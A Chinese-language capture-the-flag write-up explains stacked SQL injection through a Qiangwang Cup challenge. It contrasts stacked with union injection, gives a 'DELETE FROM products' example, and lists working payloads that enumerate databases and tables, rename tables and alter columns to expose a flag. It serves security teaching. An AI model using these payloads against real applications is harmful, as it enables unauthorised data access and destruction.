堆叠注入
摘要
从强网杯看堆叠注入
强往杯这道题过滤了sql很多查询语句,所以会去想到堆叠注入。
在SQL中,分号(;)是用来表示一条sql语句的结束,我们在 ; 结束一个sql语句后继续构造下一条语句,会一起执行,这就是堆叠注入。
而union injection(联合注入)也是将两条语句合并在一起,两者之间有什么区别么?
区别就在于union 或者union all执行的语句类型是有限的,可以用来执行查询语句,而堆叠注入可以执行的是任意的语句。
例如:
用户输入:1; DELETE FROM products
服务器端生成的sql语句为: Select * from products where productid=1;DELETE FROM products
当执行查询后,第一条显示查询信息,第二条则将整个表进行删除
进入正题:
1';show databases;#
也就是说我们执行完第一句满足条件的语句之后,还能再执行一条语句(没有条件限制),依此来查看数据库、表名
1';show tables from supersqli;#
如果查看的表名是字符串,就需要加上反引号(`)英文输入法下按esc下面那个键即可
1';show columns from __;#(内容替换下划线)
我们找到了flag在哪里,无法继续用语句查看内容
根据两个表的情况结合实际查询出结果,判断出words是默认查询的表,因为查询出的结果是一个数字加一个字符串,words表结构也是id(数字)和data(字符串),查询传入参数也就是赋值给了id
rename和alert
先介绍rename和alert的用法:
rename:修改一个或多个表的名称
RENAME TABLE old_table_name TO new_table_name;
alert:向表中添加字段
Alter table [表名] add [列名] 类型
保留old和new列名
列名:a ---->b 列类型
ALTER TABLE t1 CHANGE a b INTEGER;
由于这道题没有禁用rename和alert,所以我们可以采用修改表结构的方法来得到flag 将words表名改为words1,再将数字名表(1919810931114514)改为words,这样数字名表就是默认查询的表了,但是它少了一个id列,可以将flag字段改为id,或者添加id字段
payload:
1';rename tables `words` to `words1`;rename tables `1919810931114514` to `words`; alter table `words` change `flag` `id` varchar(100);#
然后使用1' or 1=1#显示表中所有内容,即可查询出flag